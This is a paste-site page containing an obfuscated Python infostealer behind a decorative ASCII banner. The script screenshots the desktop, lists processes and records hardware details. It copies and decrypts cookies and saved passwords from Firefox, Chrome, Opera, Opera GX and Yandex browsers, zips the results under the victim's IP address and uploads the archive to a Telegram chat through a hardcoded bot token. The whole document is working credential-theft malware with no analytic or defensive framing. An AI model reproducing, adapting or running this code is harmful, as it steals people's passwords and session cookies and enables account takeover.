Untitled
unknown
plain_text
2 years ago
5.1 kB
9
Indexable
P='mozila' G='w' F=open E=Exception from PIL import Image import platform as M from colorama import Fore as H,Back,Style import base64,json,pyautogui as Q,base64 from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes from cryptography.hazmat.backends import default_backend import win32crypt as K from Cryptodome.Cipher import AES from cryptography.hazmat.primitives.ciphers.aead import AESGCM import os as B,shutil as N,sqlite3 as O,psutil as R,requests as S,telebot as T,zipfile as U,io,PIL,cpuinfo as V,GPUtil as W from colorama import init init() def f():return f"""{H.GREEN}/////////////////////////////////////////////////////////// / / / oooooooooo nnnnnnnnnnn / / oCCCCCCCCo RRRRRRR 1 PPPPPPPP nTTTTTTTTTTTn / / oCoooooooo R R 1 P P nnnnnTnnnnn / / oCo R R 1 P P nTn / / oCo RRRRRR 1 PPPPPPPP nTn / / oCo R R 1 P nTn / / oCoooooooo R R 1 P nTn / / oCCCCCCCCo R R 1 P nTn / / oooooooooo nnn / / / /////////////////////////////////////////////////////////// ////////////////////////////{H.YELLOW}MENU{H.GREEN}/////////////////////////// ///////////////////////////////////////////////////////////{H.RESET}""" g=B.getlogin() X='5822107054:AAFunzpthf3TzxCzGbBkcWWRyT99d94l6rI' A=B.path.expanduser('~') Y=T.TeleBot(X) try:B.mkdir(f"{A}/.tmp") except E:pass try:B.mkdir(f"{A}/.tmp/cookies") except E:pass try:B.mkdir(f"{A}/.tmp/AutoFills") except E:pass def Z():B=S.get('https://api.myip.com/');A=B.json();return f"{A['cc']}:{A['ip']}" a=Z() I=f"{A}/.tmp/{a}.zip" C=U.ZipFile(I,G) h=Q.screenshot(f"{A}/.tmp/screen.png") b=f"{A}/.tmp/screen.png" class c: def init(D): with F(f"{A}/.tmp/processes.txt",G,encoding='UTF-8')as B: for C in R.process_iter():B.writelines(f"{str(C)}\n") def findAndSend(Q,OO0OO000O0O0OO00O,O0O0O000O0OOO000O,O0OO0OO000O0O0OO0): R=O0OO0OO000O0O0OO0;J=OO0OO000O0O0OO00O;D=f"{A}/{J}";global I try: for S in B.listdir(f"{D}"): T=f"{R}-{S}";H=f"{D}/{S}";K=f"{A}/.tmp/cookies/{T}.txt";L=f"{A}/.tmp/{T}.sqlite";U=f"{A}/.tmp/AutoFills/" try: Y=[f"{H}/cookies.sqlite",f"{H}/Network/Cookies",f"{H}/Cookies"] for V in Y: if B.path.exists(V): N.copy2(V,L) with F(K,G)as Z: a=O.connect(L);W=a.cursor();W.execute(O0O0O000O0OOO000O) for(b,c,J,d,e,f,M)in W.fetchall(): if R!=P:g=str(Q.decrypt(M,D)).replace('b','').replace("'",'');M=g Z.write(f"{b}\t{bool(c)}\t{J}\t{bool(d)}\t{e}\t{f}\t{M}\n") h=B.path.getsize(K) if h<1000:0 else:C.write(K) C.write(U);B.remove(L) Q.get_pass(f"{H}/Login Data",U,D) except E as X:print(X);pass except E as X:pass def get_spec(K): D=M.uname();I=W.getGPUs();J=V.get_cpu_info();E=f"{A}/.tmp/computer_info.txt" with F(E,G)as B: B.write(f"System: {D.system}\n");B.write(f"Node Name: {D.node}\n") for H in I:B.write(f"GPU: {H.id} {H.name}") B.write(f"Release: {D.release}\n");B.write(f"Version: {D.version}\n");B.write(f"Machine: {D.machine}\n");B.write(f"Processor: {J['brand_raw']}\n") C.write(E);C.write(b) def decrypt(J,O00OO0OOOOO0O00OO,O0O0O000O0O000O0O): C=O00OO0OOOOO0O00OO;A=None;B=A with F(f"{O0O0O000O0O000O0O}/Local State",'r')as H:B=json.loads(H.read())['os_crypt']['encrypted_key'] B=base64.b64decode(B);B=B[5:];D=K.CryptUnprotectData(B,A,A,A,0)[1] try:I=AES.new(D,AES.MODE_GCM,nonce=C[3:3+12]);G=I.decrypt_and_verify(C[3+12:-16],C[-16:]);return G except E as L:G=K.CryptUnprotectData(C,A,A,A,0)[1].decode('utf-8')or C or 0;return D def get_pass(K,O00000O00000OOOO0,O00O00OOO00O0OOO0,O0OOO0OOOO00000OO): D=f"{O00O00OOO00O0OOO0}/AutoFills/passwords" if not B.path.exists(f"{D}"):return N.copy2(O00000O00000OOOO0,f"{D}");H=O.connect(f"{D}");I=H.cursor();I.execute('SELECT origin_url, username_value, password_value FROM logins');J=I.fetchall() with F(f"{D}.txt",G)as A: for E in J:A.write(f"----------\n");A.write(f"url : {E[0]}\n");A.write(f"login : {E[1]}\n");A.write(f"pass : {E[2]}\n");A.write(f"----------\n") C.write(A) H.close() D=c() J='SELECT host_key, samesite, path, is_Secure, expires_utc, name, encrypted_value FROM cookies' d='SELECT host, sameSite, path, isSecure, expiry, name, value FROM moz_cookies' D.findAndSend('AppData\\Roaming\\Mozilla\\Firefox\\Profiles',d,P) D.findAndSend('AppData/Local/Google/Chrome/User Data',J,'chrome') D.findAndSend('AppData\\Roaming\\Opera Software\\Opera Stable',J,'Opera') D.findAndSend('AppData\\Roaming\\Opera Software\\Opera GX Stable',J,'Opera-Gx') D.findAndSend(f"AppData\\Local\\Yandex\\YandexBrowser\\User Data",J,'yandex') D.get_spec() C.close() with F(I,'rb')as e:L=io.BytesIO(e.read());L.name=B.path.basename(I);Y.send_document(-998721179,L)
Editor is loading...